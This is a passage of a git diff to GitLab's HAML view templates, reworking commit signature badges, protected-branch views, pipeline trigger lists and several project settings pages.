+ = html_escape(_("Importing GitLab projects? Migrating GitLab projects when migrating groups by direct transfer is in Beta. %{link_start}Learn more.%{link_end}")) % { link_start: docs_link, link_end: '</a>'.html_safe }
.import-buttons
- if gitlab_project_import_enabled?
.import_gitlab_project.has-tooltip{ data: { container: 'body', qa_selector: 'gitlab_import_button' } }
diff --git a/app/views/projects/artifacts/index.html.haml b/app/views/projects/artifacts/index.html.haml
index 9cbc149177c..7fa47aed7c6 100644
--- a/app/views/projects/artifacts/index.html.haml
+++ b/app/views/projects/artifacts/index.html.haml
@@ -6,4 +6,6 @@
.gl-mb-6
%strong= s_('Artifacts|Total artifacts size')
= number_to_human_size(@total_size, precicion: 2)
- #js-artifact-management{ data: { "project-path" => @project.full_path } }
+ #js-artifact-management{ data: { "project-path": @project.full_path,
+ "can-destroy-artifacts" => can?(current_user, :destroy_artifacts, @project).to_s,
+ "artifacts-management-feedback-image-path": image_path('illustrations/chat-bubble-sm.svg') } }
diff --git a/app/views/projects/blob/_template_selectors.html.haml b/app/views/projects/blob/_template_selectors.html.haml
index 4fe68c1ce1a..c1f4633f69f 100644
--- a/app/views/projects/blob/_template_selectors.html.haml
+++ b/app/views/projects/blob/_template_selectors.html.haml
@@ -1,8 +1,5 @@
.template-selectors-menu.gl-pl-3
.template-selector-dropdowns-wrap
- .template-type-selector.js-template-type-selector-wrap.hidden
- - toggle_text = should_suggest_gitlab_ci_yml? ? '.gitlab-ci.yml' : 'Select a template type'
- = dropdown_tag(_(toggle_text), options: { toggle_class: 'js-template-type-selector', dropdown_class: 'dropdown-menu-selectable', data: { qa_selector: 'template_type_dropdown' } })
.license-selector.js-license-selector-wrap.js-template-selector-wrap.hidden
= dropdown_tag(_("Apply a template"), options: { toggle_class: 'js-license-selector', dropdown_class: 'dropdown-menu-selectable', filter: true, placeholder: "Filter", data: { data: licenses_for_select(@project), project: @project.name, fullname: @project.namespace.human_name, qa_selector: 'license_dropdown' } })
.gitignore-selector.js-gitignore-selector-wrap.js-template-selector-wrap.hidden
diff --git a/app/views/projects/branch_defaults/_branch_names_fields.html.haml b/app/views/projects/branch_defaults/_branch_names_fields.html.haml
index 65f975fbd9e..393b19e6c5a 100644
--- a/app/views/projects/branch_defaults/_branch_names_fields.html.haml
+++ b/app/views/projects/branch_defaults/_branch_names_fields.html.haml
@@ -10,5 +10,5 @@
%p.form-text.text-muted
= s_('ProjectSettings|Leave empty to use default template.')
= sprintf(s_('ProjectSettings|Maximum %{maxLength} characters.'), { maxLength: Issue::MAX_BRANCH_TEMPLATE })
- - branch_name_help_link = help_page_path('user/project/repository/web_editor.md', anchor: 'create-a-new-branch-from-an-issue')
+ - branch_name_help_link = help_page_path('user/project/merge_requests/creating_merge_requests.md', anchor: 'from-an-issue')
= link_to _('What variables can I use?'), branch_name_help_link, target: "_blank"
diff --git a/app/views/projects/buttons/_fork.html.haml b/app/views/projects/buttons/_fork.html.haml
index 97186149a9d..6d05f1dc955 100644
--- a/app/views/projects/buttons/_fork.html.haml
+++ b/app/views/projects/buttons/_fork.html.haml
@@ -11,7 +11,7 @@
- button_class = 'disabled' if disabled_tooltip
%span.btn-group{ class: ('has-tooltip' if disabled_tooltip), title: disabled_tooltip }
- = link_to new_project_fork_path(@project), class: "gl-button btn btn-default fork-btn #{button_class}" do
+ = link_to new_project_fork_path(@project), class: "gl-button btn btn-default fork-btn #{button_class}", data: { qa_selector: 'fork_button' } do
= sprite_icon('fork', css_class: 'icon')
%span= s_('ProjectOverview|Fork')
= link_to project_forks_path(@project), title: n_(s_('ProjectOverview|Forks'), s_('ProjectOverview|Forks'), @project.forks_count), class: "gl-button btn btn-default count has-tooltip fork-count #{count_class}" do
diff --git a/app/views/projects/ci/builds/_build.html.haml b/app/views/projects/ci/builds/_build.html.haml
index b48369322e4..ecdd43a54f9 100644
--- a/app/views/projects/ci/builds/_build.html.haml
+++ b/app/views/projects/ci/builds/_build.html.haml
@@ -87,7 +87,7 @@
%td
- if job.duration
%p.duration
- = custom_icon("icon_timer")
+ = sprite_icon("timer")
= duration_in_numbers(job.duration)
- if job.finished_at
diff --git a/app/views/projects/commit/_multiple_signatures_signature_badge.html.haml b/app/views/projects/commit/_multiple_signatures_signature_badge.html.haml
index 74515438af2..2568a69cc2c 100644
--- a/app/views/projects/commit/_multiple_signatures_signature_badge.html.haml
+++ b/app/views/projects/commit/_multiple_signatures_signature_badge.html.haml
@@ -1,6 +1,5 @@
-- title = capture do
- = html_escape(_('This commit was signed with %{strong_open}multiple%{strong_close} signatures.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
-
-- locals = { signature: signature, title: title, label: _('Unverified'), css_class: 'invalid', icon: 'status_notfound_borderless' }
+- title = _('Multiple signatures')
+- description = _('This commit was signed with multiple signatures.')
+- locals = { signature: signature, title: title, description: description, label: _('Unverified'), css_class: 'invalid' }
= render partial: 'projects/commit/signature_badge', locals: locals
diff --git a/app/views/projects/commit/_other_user_signature_badge.html.haml b/app/views/projects/commit/_other_user_signature_badge.html.haml
index bb843bee7c9..ffc4b25dc21 100644
--- a/app/views/projects/commit/_other_user_signature_badge.html.haml
+++ b/app/views/projects/commit/_other_user_signature_badge.html.haml
@@ -1,6 +1,5 @@
-- title = capture do
- = _("This commit was signed with a different user's verified signature.")
-
-- locals = { signature: signature, title: title, label: _('Unverified'), css_class: 'invalid', icon: 'status_notfound_borderless', show_user: true }
+- title = _("Different user's signature")
+- description = _("This commit was signed with a different user's verified signature.")
+- locals = { signature: signature, title: title, description: description, label: _('Unverified'), css_class: 'invalid' }
= render partial: 'projects/commit/signature_badge', locals: locals
diff --git a/app/views/projects/commit/_same_user_different_email_signature_badge.html.haml b/app/views/projects/commit/_same_user_different_email_signature_badge.html.haml
index 629d3cfaf74..61fdf6fc87a 100644
--- a/app/views/projects/commit/_same_user_different_email_signature_badge.html.haml
+++ b/app/views/projects/commit/_same_user_different_email_signature_badge.html.haml
@@ -1,6 +1,5 @@
-- title = capture do
- = html_escape(_('This commit was signed with a verified signature, but the committer email is not associated with the GPG Key.'))
-
-- locals = { signature: signature, title: title, label: _('Unverified'), css_class: ['invalid'], icon: 'status_notfound_borderless', show_user: true }
+- title = _('GPG key mismatch')
+- description = _('This commit was signed with a verified signature, but the committer email is not associated with the GPG Key.')
+- locals = { signature: signature, title: title, description: description, label: _('Unverified'), css_class: ['invalid'] }
= render partial: 'projects/commit/signature_badge', locals: locals
diff --git a/app/views/projects/commit/_signature_badge.html.haml b/app/views/projects/commit/_signature_badge.html.haml
index ad6b524c01b..41ba581b9d9 100644
--- a/app/views/projects/commit/_signature_badge.html.haml
+++ b/app/views/projects/commit/_signature_badge.html.haml
@@ -1,39 +1,35 @@
- signature = local_assigns.fetch(:signature)
- title = local_assigns.fetch(:title)
+- description = local_assigns.fetch(:description, nil)
- label = local_assigns.fetch(:label)
- css_class = local_assigns.fetch(:css_class)
-- icon = local_assigns.fetch(:icon)
-- show_user = local_assigns.fetch(:show_user, false)
- css_classes = commit_signature_badge_classes(css_class)
- title = capture do
.gpg-popover-status
- .gpg-popover-icon{ class: css_class }
- = sprite_icon(icon)
%div
- = title
+ %strong
+ = title
-- content = capture do
- - if show_user
- .clearfix
- - uri_signature_badge_user = "projects/commit/#{'x509/' if signature.x509?}signature_badge_user"
- = render partial: "#{uri_signature_badge_user}", locals: { signature: signature }
+ %p.gl-my-3
+ = description
+- content = capture do
- if signature.x509?
= render partial: "projects/commit/x509/certificate_details", locals: { signature: signature }
= link_to(_('Learn more about X.509 signed commits'), help_page_path('user/project/repository/x509_signed_commits/index.md'), class: 'gl-link gl-display-block')
- - elsif ::Feature.enabled?(:ssh_commit_signatures, signature.project) && signature.ssh?
+ - elsif signature.ssh?
= _('SSH key fingerprint:')
- %span.gl-font-monospace= signature.key&.fingerprint_sha256 || _('Unknown')
+ %span.gl-font-monospace= signature.key_fingerprint_sha256 || _('Unknown')
- = link_to(_('Learn about signing commits with SSH keys.'), help_page_path('user/project/repository/ssh_signed_commits/index.md'), class: 'gl-link gl-display-block')
+ = link_to(_('Learn about signing commits with SSH keys.'), help_page_path('user/project/repository/ssh_signed_commits/index.md'), class: 'gl-link gl-display-block gl-mt-3')
- else
= _('GPG Key ID:')
%span.gl-font-monospace= signature.gpg_key_primary_keyid
- = link_to(_('Learn more about signing commits'), help_page_path('user/project/repository/gpg_signed_commits/index.md'), class: 'gl-link gl-display-block')
+ = link_to(_('Learn about signing commits'), help_page_path('user/project/repository/gpg_signed_commits/index.md'), class: 'gl-link gl-display-block gl-mt-3')
%a{ role: 'button', tabindex: 0, class: css_classes, data: { toggle: 'popover', html: 'true', placement: 'top', title: title, content: content } }
= label
diff --git a/app/views/projects/commit/_unverified_signature_badge.html.haml b/app/views/projects/commit/_unverified_signature_badge.html.haml
index 0ce8e06382b..0eae8d5564d 100644
--- a/app/views/projects/commit/_unverified_signature_badge.html.haml
+++ b/app/views/projects/commit/_unverified_signature_badge.html.haml
@@ -1,6 +1,5 @@
-- title = capture do
- = html_escape(_('This commit was signed with an %{strong_open}unverified%{strong_close} signature.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
-
-- locals = { signature: signature, title: title, label: _('Unverified'), css_class: 'invalid', icon: 'status_notfound_borderless' }
+- title = _('Unverified signature')
+- description = _('This commit was signed with an unverified signature.')
+- locals = { signature: signature, title: title, description: description, label: _('Unverified'), css_class: 'invalid' }
= render partial: 'projects/commit/signature_badge', locals: locals
diff --git a/app/views/projects/commit/_verified_signature_badge.html.haml b/app/views/projects/commit/_verified_signature_badge.html.haml
index 357ad467539..417d816c711 100644
--- a/app/views/projects/commit/_verified_signature_badge.html.haml
+++ b/app/views/projects/commit/_verified_signature_badge.html.haml
@@ -1,6 +1,5 @@
-- title = capture do
- = html_escape(_('This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
-
-- locals = { signature: signature, title: title, label: _('Verified'), css_class: 'valid', icon: 'status_success_borderless', show_user: true }
+- title = _('Verified commit')
+- description = _('This commit was signed with a verified signature and the committer email was verified to belong to the same user.')
+- locals = { signature: signature, title: title, description: description, label: _('Verified'), css_class: 'valid' }
= render partial: 'projects/commit/signature_badge', locals: locals
diff --git a/app/views/projects/commits/show.html.haml b/app/views/projects/commits/show.html.haml
index c129d978e7e..8f802792e6a 100644
--- a/app/views/projects/commits/show.html.haml
+++ b/app/views/projects/commits/show.html.haml
@@ -10,7 +10,7 @@
.nav-block
.tree-ref-container
.tree-ref-holder
- #js-project-commits-ref-switcher{ data: { "project-id" => @project.id, "ref" => @ref, "commits_path": project_commits_path(@project) } }
+ #js-project-commits-ref-switcher{ data: { "project-id" => @project.id, "ref" => @ref, "commits_path": project_commits_path(@project), "ref_type": @ref_type.to_s } }
%ul.breadcrumb.repo-breadcrumb
= commits_breadcrumbs
diff --git a/app/views/projects/feature_flags/new.html.haml b/app/views/projects/feature_flags/new.html.haml
index 9fef9864475..c91487ad198 100644
--- a/app/views/projects/feature_flags/new.html.haml
+++ b/app/views/projects/feature_flags/new.html.haml
@@ -10,5 +10,5 @@
user_callout_id: Users::CalloutsHelper::FEATURE_FLAGS_NEW_VERSION,
show_user_callout: show_feature_flags_new_version?.to_s,
strategy_type_docs_page_path: help_page_path('operations/feature_flags', anchor: 'feature-flag-strategies'),
- environments_scope_docs_path: help_page_path('ci/environments/index.md', anchor: 'scope-environments-with-specs'),
+ environments_scope_docs_path: help_page_path('ci/environments/index.md', anchor: 'limit-the-environment-scope-of-a-cicd-variable'),
project_id: @project.id } }
diff --git a/app/views/projects/forks/new.html.haml b/app/views/projects/forks/new.html.haml
index a9913fe3d5e..e9c6b3fcd22 100644
--- a/app/views/projects/forks/new.html.haml
+++ b/app/views/projects/forks/new.html.haml
@@ -5,6 +5,7 @@
new_group_path: new_group_path,
project_full_path: @project.full_path,
visibility_help_path: help_page_path("user/public_access"),
+ cancel_path: project_path(@project),
project_id: @project.id,
project_name: @project.name,
project_path: @project.path,
diff --git a/app/views/projects/imports/new.html.haml b/app/views/projects/imports/new.html.haml
index 306f24d717b..efb364bd013 100644
--- a/app/views/projects/imports/new.html.haml
+++ b/app/views/projects/imports/new.html.haml
@@ -16,4 +16,4 @@
= render 'shared/import_form', f: f
.form-actions
- = f.submit 'Start import', class: 'gl-button btn btn-confirm', data: { disable_with: false }
+ = f.submit 'Start import', pajamas_button: true, data: { disable_with: false }
diff --git a/app/views/projects/issues/_work_item_links.html.haml b/app/views/projects/issues/_work_item_links.html.haml
index 72f9ec2ff16..3deceacec8d 100644
--- a/app/views/projects/issues/_work_item_links.html.haml
+++ b/app/views/projects/issues/_work_item_links.html.haml
@@ -1 +1,5 @@
-.js-work-item-links-root{ data: { issuable_id: @issue.id, iid: @issue.iid, project_path: @project.full_path, wi: work_items_index_data(@project) } }
+.js-work-item-links-root{ data: { issuable_id: @issue.id, iid: @issue.iid,
+ project_path: @project.full_path,
+ wi: work_items_index_data(@project),
+ register_path: new_user_registration_path(redirect_to_referer: 'yes'),
+ sign_in_path: new_session_path(:user, redirect_to_referer: 'yes') } }
diff --git a/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml b/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
index fb950611f81..0123c5efd3d 100644
--- a/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
+++ b/app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml
@@ -47,7 +47,6 @@
- if moved_mr_sidebar_enabled?
%li.gl-dropdown-divider
%hr.dropdown-divider
- %li.gl-dropdown-item
- = link_to new_abuse_report_path(user_id: @merge_request.author.id, ref_url: merge_request_url(@merge_request)), class: 'dropdown-item' do
- .gl-dropdown-item-text-wrapper
- = _('Report abuse to administrator')
+ #js-report-abuse-dropdown-item{ data: { report_abuse_path: add_category_abuse_reports_path, reported_user_id: @merge_request.author.id, reported_from_url: merge_request_url(@merge_request) } }
+
+#js-report-abuse-drawer
diff --git a/app/views/projects/merge_requests/_merge_request.html.haml b/app/views/projects/merge_requests/_merge_request.html.haml
index 71f8e4c32f5..b96d869e9d7 100644
--- a/app/views/projects/merge_requests/_merge_request.html.haml
+++ b/app/views/projects/merge_requests/_merge_request.html.haml
@@ -12,6 +12,7 @@
.issuable-main-info
.merge-request-title.title
%span.merge-request-title-text.js-onboarding-mr-item
+ = hidden_merge_request_icon(merge_request)
= link_to merge_request.title, merge_request_path(merge_request), class: 'js-prefetch-document'
- if merge_request.tasks?
%span.task-status.d-none.d-sm-inline-block
diff --git a/app/views/projects/merge_requests/_mr_title.html.haml b/app/views/projects/merge_requests/_mr_title.html.haml
index a73d2aa5cc4..9d25603994a 100644
--- a/app/views/projects/merge_requests/_mr_title.html.haml
+++ b/app/views/projects/merge_requests/_mr_title.html.haml
@@ -16,7 +16,7 @@
.detail-page-header.border-bottom-0.pt-0.pb-0.gl-display-block{ class: "gl-md-display-flex! #{'is-merge-request' if moved_mr_sidebar_enabled? && !fluid_layout}" }
.detail-page-header-body
.issuable-meta.gl-display-flex
- #js-issuable-header-warnings
+ #js-issuable-header-warnings{ data: { hidden: @merge_request.hidden?.to_s } }
%h1.title.page-title.gl-font-size-h-display.gl-my-0.gl-display-inline-block{ data: { qa_selector: 'title_content' } }
= markdown_field(@merge_request, :title)
diff --git a/app/views/projects/merge_requests/_page.html.haml b/app/views/projects/merge_requests/_page.html.haml
index 9d79352659c..47eb3e016d3 100644
--- a/app/views/projects/merge_requests/_page.html.haml
+++ b/app/views/projects/merge_requests/_page.html.haml
@@ -69,7 +69,7 @@
= render "projects/merge_requests/awards_block"
= render "projects/merge_requests/widget"
- if mr_action === "show"
- - add_page_startup_api_call Feature.enabled?(:paginated_mr_discussions, @project) ? discussions_path(@merge_request, per_page: 20) : discussions_path(@merge_request)
+ - add_page_startup_api_call discussions_path(@merge_request, per_page: 20)
- add_page_startup_api_call widget_project_json_merge_request_path(@project, @merge_request, format: :json)
- add_page_startup_api_call cached_widget_project_json_merge_request_path(@project, @merge_request, format: :json)
#js-vue-mr-discussions{ data: { notes_data: notes_data(@merge_request).to_json,
diff --git a/app/views/projects/milestones/show.html.haml b/app/views/projects/milestones/show.html.haml
index 8ff7fe6da71..95ef856daba 100644
--- a/app/views/projects/milestones/show.html.haml
+++ b/app/views/projects/milestones/show.html.haml
@@ -3,6 +3,7 @@
- page_title @milestone.title, _('Milestones')
- page_description @milestone.description_html
- add_page_specific_style 'page_bundles/milestone'
+- add_page_specific_style 'page_bundles/issuable'
- add_page_startup_api_call milestone_tab_path(@milestone, 'issues', show_project_name: false)
diff --git a/app/views/projects/ml/experiments/show.html.haml b/app/views/projects/ml/experiments/show.html.haml
index 2c350439762..143981eebe6 100644
--- a/app/views/projects/ml/experiments/show.html.haml
+++ b/app/views/projects/ml/experiments/show.html.haml
@@ -11,4 +11,6 @@
#js-show-ml-experiment{ data: {
candidates: items,
metrics: metrics,
- params: params } }
+ params: params,
+ pagination: @pagination.to_json
+} }
diff --git a/app/views/projects/pages/new.html.haml b/app/views/projects/pages/new.html.haml
index f1f3510d0f8..b9d2af9cf19 100644
--- a/app/views/projects/pages/new.html.haml
+++ b/app/views/projects/pages/new.html.haml
@@ -1,8 +1,14 @@
-%section.js-search-settings-section
- - if Feature.enabled?(:use_pipeline_wizard_for_pages, @project.group)
- #js-pages{ data: @pipeline_wizard_data }
+- if Feature.enabled?(:show_pages_in_deployments_menu, current_user, type: :experiment)
+ - @breadcrumb_link = project_pages_path(@project)
+ - breadcrumb_title s_('GitLabPages|Pages')
+ - page_title s_('GitLabPages|Pages')
+- else
+ %section.js-search-settings-section
- - else
- = render 'header'
+- if Feature.enabled?(:use_pipeline_wizard_for_pages, @project.group)
+ #js-pages{ data: @pipeline_wizard_data }
- = render 'use'
+- else
+ = render 'header'
+
+ = render 'use'
diff --git a/app/views/projects/pipeline_schedules/index.html.haml b/app/views/projects/pipeline_schedules/index.html.haml
index cb7cd631859..ab86d505f0f 100644
--- a/app/views/projects/pipeline_schedules/index.html.haml
+++ b/app/views/projects/pipeline_schedules/index.html.haml
@@ -6,7 +6,7 @@
#pipeline-schedules-callout{ data: { docs_url: help_page_path('ci/pipelines/schedules'), illustration_url: image_path('illustrations/pipeline_schedule_callout.svg') } }
- if Feature.enabled?(:pipeline_schedules_vue, @project)
- #pipeline-schedules-app{ data: { full_path: @project.full_path } }
+ #pipeline-schedules-app{ data: { full_path: @project.full_path, pipelines_path: project_pipelines_path(@project) } }
- else
.top-area
- schedule_path_proc = ->(scope) { pipeline_schedules_path(@project, scope: scope) }
diff --git a/app/views/projects/pipelines/_info.html.haml b/app/views/projects/pipelines/_info.html.haml
index 1a079324a0f..8f7f0a15e69 100644
--- a/app/views/projects/pipelines/_info.html.haml
+++ b/app/views/projects/pipelines/_info.html.haml
@@ -1,4 +1,4 @@
-- if Feature.enabled?(:pipeline_name, @pipeline.project) && @pipeline.name
+- if @pipeline.name
.gl-border-t.gl-p-5.gl-px-0
%h3.gl-m-0.gl-text-body
= @pipeline.name
@@ -53,7 +53,7 @@
.well-segment{ 'data-testid': 'commit-row' }
.icon-container.commit-icon
= sprite_icon('commit', css_class: 'gl-top-0!')
- - if Feature.enabled?(:pipeline_name, @pipeline.project) && @pipeline.name
+ - if @pipeline.name
= markdown(commit.title, pipeline: :single_line)
= clipboard_button(text: @pipeline.sha, title: _("Copy commit SHA"))
= link_to commit.short_id, project_commit_path(@project, @pipeline.sha), class: "commit-sha"
diff --git a/app/views/projects/settings/ci_cd/show.html.haml b/app/views/projects/settings/ci_cd/show.html.haml
index 1b35de85145..b27f5a0e5ed 100644
--- a/app/views/projects/settings/ci_cd/show.html.haml
+++ b/app/views/projects/settings/ci_cd/show.html.haml
@@ -43,7 +43,10 @@
= _("Runners are processes that pick up and execute CI/CD jobs for GitLab.")
= link_to s_('What is GitLab Runner?'), 'https://docs.gitlab.com/runner/', target: '_blank', rel: 'noopener noreferrer'
.settings-content
- = render 'projects/runners/settings'
+ - if Feature.enabled?(:project_runners_vue_ui, @project)
+ #js-project-runners{ data: { project_full_path: @project.full_path } }
+ - else
+ = render 'projects/runners/settings'
- if Gitlab::CurrentSettings.current_application_settings.keep_latest_artifact?
%section.settings.no-animate#js-artifacts-settings{ class: ('expanded' if expanded) }
diff --git a/app/views/projects/settings/repository/_protected_branches.html.haml b/app/views/projects/settings/repository/_protected_branches.html.haml
index d2356b5df09..340883ba853 100644
--- a/app/views/projects/settings/repository/_protected_branches.html.haml
+++ b/app/views/projects/settings/repository/_protected_branches.html.haml
@@ -1,2 +1,2 @@
-= render "protected_branches/index"
+= render "protected_branches/index", protected_branch_entity: protected_branch_entity
= render "projects/protected_tags/index"
diff --git a/app/views/projects/settings/repository/show.html.haml b/app/views/projects/settings/repository/show.html.haml
index 306ce47cee7..953bfcf71ab 100644
--- a/app/views/projects/settings/repository/show.html.haml
+++ b/app/views/projects/settings/repository/show.html.haml
@@ -13,7 +13,7 @@
-# The shared parts of the views can be found in the `shared` directory.
-# Those are used throughout the actual views. These `shared` views are then
-# reused in EE.
-= render "projects/settings/repository/protected_branches"
+= render "projects/settings/repository/protected_branches", protected_branch_entity: @project
= render "shared/deploy_tokens/index", group_or_project: @project, description: deploy_token_description
= render @deploy_keys
= render "projects/cleanup/show"
diff --git a/app/views/projects/triggers/_index.html.haml b/app/views/projects/triggers/_index.html.haml
index a7f29b5cbf9..de127d15351 100644
--- a/app/views/projects/triggers/_index.html.haml
+++ b/app/views/projects/triggers/_index.html.haml
@@ -6,32 +6,7 @@
- c.body do
= render 'projects/triggers/form', btn_text: _('Add trigger')
.gl-mb-5
- - if Feature.enabled?(:ci_pipeline_triggers_settings_vue_ui, @project)
- #js-ci-pipeline-triggers-list.triggers-list{ data: { triggers: @triggers_json } }
- - else
- - if @triggers.any?
- .table-responsive.triggers-list
- %table.table
- %thead
- %th
- %strong
- = _('Token')
- %th
- %strong
- = _('Description')
- %th
- %strong
- = _('Owner')
- %th
- %strong
- = _('Last used')
- %th
- = render partial: 'projects/triggers/trigger', collection: @triggers, as: :trigger
- - else
- = render Pajamas::AlertComponent.new(variant: :warning, show_icon: false, dismissible: false,
- alert_options: { data: { testid: 'no_triggers_content' }}) do |c|
- = c.body do
- = _('No triggers exist yet. Use the form above to create one.')
+ #js-ci-pipeline-triggers-list.triggers-list{ data: { triggers: @triggers_json } }
- c.footer do
%p
= _("These examples show how to trigger this project's pipeline for a branch or tag.")
diff --git a/app/views/projects/triggers/_trigger.html.haml b/app/views/projects/triggers/_trigger.html.haml
deleted file mode 100644
index bce7dc8a94b..00000000000
--- a/app/views/projects/triggers/_trigger.html.haml
+++ /dev/null
@@ -1,37 +0,0 @@
-%tr
- %td
- - if trigger.has_token_exposed?
- %span= trigger.token
- = clipboard_button(text: trigger.token, title: _("Copy trigger token"), testid: 'clipboard-btn')
- - else
- %span= trigger.short_token
-
- .gl-display-inline-block.gl-ml-3
- - unless trigger.can_access_project?
- = gl_badge_tag s_('Trigger|invalid'), { variant: :danger }, { title: s_('Trigger|Trigger user has insufficient permissions to project'), data: { toggle: 'tooltip', container: 'body' } }
-
- %td
- - if trigger.description? && trigger.description.length > 15
- %span.has-tooltip{ title: trigger.description }= truncate(trigger.description, length: 15)
- - else
- = trigger.description
-
- %td
- - if trigger.owner
- .trigger-owner.sr-only= trigger.owner.name
- = user_avatar(user: trigger.owner, size: 20)
-
- %td
- - if trigger.last_used
- = time_ago_with_tooltip trigger.last_used
- - else
- Never
-
- %td.text-right.gl-white-space-nowrap
- - revoke_trigger_confirmation = "By revoking a trigger you will break any processes making use of it. Are you sure?"
- - if can?(current_user, :admin_trigger, trigger)
- = link_to edit_project_trigger_path(@project, trigger), method: :get, title: "Edit", class: "gl-button btn btn-default btn-icon" do
- = sprite_icon('pencil')
- - if can?(current_user, :manage_trigger, trigger)
- = link_to project_trigger_path(@project, trigger), aria: { label: _('Revoke') }, data: { confirm: revoke_trigger_confirmation, testid: 'trigger_revoke_button', confirm_btn_variant: "danger" }, method: :delete, title: "Revoke", class: "gl-button btn btn-default btn-icon btn-trigger-revoke gl-ml-3" do
- = sprite_icon('remove')
diff --git a/app/views/protected_branches/_branches_list.html.haml b/app/views/protected_branches/_branches_list.html.haml
index 82eac348f16..2b0160f98e7 100644
--- a/app/views/protected_branches/_branches_list.html.haml
+++ b/app/views/protected_branches/_branches_list.html.haml
@@ -1,4 +1,4 @@
-- can_admin_project = can?(current_user, :admin_project, @project)
+- can_admin_entity = protected_branch_can_admin_entity?(protected_branch_entity)
-= render layout: 'protected_branches/shared/branches_list', locals: { can_admin_project: can_admin_project } do
- = render partial: 'protected_branches/protected_branch', collection: @protected_branches
+= render layout: 'protected_branches/shared/branches_list', locals: { can_admin_entity: can_admin_entity, protected_branch_entity: protected_branch_entity } do
+ = render partial: 'protected_branches/protected_branch', collection: @protected_branches, locals: { protected_branch_entity: protected_branch_entity }
diff --git a/app/views/protected_branches/_create_protected_branch.html.haml b/app/views/protected_branches/_create_protected_branch.html.haml
index 22a49ba9c7e..b4765ab49c2 100644
--- a/app/views/protected_branches/_create_protected_branch.html.haml
+++ b/app/views/protected_branches/_create_protected_branch.html.haml
@@ -11,4 +11,4 @@
dropdown_class: 'dropdown-menu-selectable capitalize-header', dropdown_qa_selector: 'allowed_to_push_dropdown_content' , dropdown_testid: 'allowed-to-push-dropdown',
data: { field_name: 'protected_branch[push_access_levels_attributes][0][access_level]', input_id: 'push_access_levels_attributes', qa_selector: 'allowed_to_push_dropdown' }})
-= render 'protected_branches/shared/create_protected_branch'
+= render 'protected_branches/shared/create_protected_branch', protected_branch_entity: protected_branch_entity
diff --git a/app/views/protected_branches/_index.html.haml b/app/views/protected_branches/_index.html.haml
index 4beca4845b8..84a221555ab 100644
--- a/app/views/protected_branches/_index.html.haml
+++ b/app/views/protected_branches/_index.html.haml
@@ -1,7 +1,7 @@
- content_for :create_protected_branch do
- = render 'protected_branches/create_protected_branch'
+ = render 'protected_branches/create_protected_branch', protected_branch_entity: protected_branch_entity
- content_for :branches_list do
- = render "protected_branches/branches_list"
+ = render "protected_branches/branches_list", protected_branch_entity: protected_branch_entity
-= render 'protected_branches/shared/index'
+= render 'protected_branches/shared/index', protected_branch_entity: protected_branch_entity
diff --git a/app/views/protected_branches/_protected_branch.html.haml b/app/views/protected_branches/_protected_branch.html.haml
index 423d7f23eb5..acd62968b09 100644
--- a/app/views/protected_branches/_protected_branch.html.haml
+++ b/app/views/protected_branches/_protected_branch.html.haml
@@ -1,2 +1,2 @@
-= render layout: 'protected_branches/shared/protected_branch', locals: { protected_branch: protected_branch } do
+= render layout: 'protected_branches/shared/protected_branch', locals: { protected_branch: protected_branch, protected_branch_entity: protected_branch_entity } do
= render_if_exists 'protected_branches/update_protected_branch', protected_branch: protected_branch
diff --git a/app/views/protected_branches/shared/_branches_list.html.haml b/app/views/protected_branches/shared/_branches_list.html.haml
index d041f9c5b48..c35895e000c 100644
--- a/app/views/protected_branches/shared/_branches_list.html.haml
+++ b/app/views/protected_branches/shared/_branches_list.html.haml
@@ -13,7 +13,7 @@
%col{ width: "20%" }
%col{ width: "10%" }
%col{ width: "10%" }
- - if can_admin_project
+ - if can_admin_entity
%col
%thead
%tr
@@ -28,9 +28,9 @@
%span.has-tooltip{ data: { container: 'body' }, title: s_('ProtectedBranch|Allow all users with push access to force push.'), 'aria-hidden': 'true' }
= sprite_icon('question', size: 16, css_class: 'gl-text-gray-500')
- = render_if_exists 'protected_branches/ee/code_owner_approval_table_head'
+ = render_if_exists 'protected_branches/ee/code_owner_approval_table_head', protected_branch_entity: protected_branch_entity
- - if can_admin_project
+ - if can_admin_entity
%th
%tbody
= yield
diff --git a/app/views/protected_branches/shared/_create_protected_branch.html.haml b/app/views/protected_branches/shared/_create_protected_branch.html.haml
index 6b4a143df69..315daa5e029 100644
--- a/app/views/protected_branches/shared/_create_protected_branch.html.haml
+++ b/app/views/protected_branches/shared/_create_protected_branch.html.haml
@@ -1,4 +1,4 @@
-= gitlab_ui_form_for [@project, @protected_branch], html: { class: 'new-protected-branch js-new-protected-branch' } do |f|
+= gitlab_ui_form_for [protected_branch_entity, @protected_branch], html: { class: 'new-protected-branch js-new-protected-branch' } do |f|
%input{ type: 'hidden', name: 'update_section', value: 'js-protected-branches-settings' }
= render Pajamas::CardComponent.new(card_options: { class: "gl-mb-5" }) do |c|
- c.header do
@@ -8,11 +8,18 @@
.form-group.row
= f.label :name, s_('ProtectedBranch|Branch:'), class: 'col-sm-12'
.col-sm-12
- = render partial: "protected_branches/shared/dropdown", locals: { f: f, toggle_classes: 'gl-w-full! gl-form-input-lg' }
+ - if protected_branch_entity.is_a?(Group)
+ = f.text_field :name, placeholder: 'prod*', class: 'form-control gl-w-full! gl-form-input-lg'
+ - else
+ = render partial: "protected_branches/shared/dropdown", locals: { f: f, toggle_classes: 'gl-w-full! gl-form-input-lg' }
.form-text.text-muted
- wildcards_url = help_page_url('user/project/protected_branches', anchor: 'configure-multiple-protected-branches-by-using-a-wildcard')
- wildcards_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: wildcards_url }
- = (s_("ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported.") % { wildcards_link_start: wildcards_link_start, wildcards_link_end: '</a>', code_tag_start: '<code>', code_tag_end: '</code>' }).html_safe
+ - placeholders = { wildcards_link_start: wildcards_link_start, wildcards_link_end: '</a>', code_tag_start: '<code>', code_tag_end: '</code>' }
+ - if protected_branch_entity.is_a?(Group)
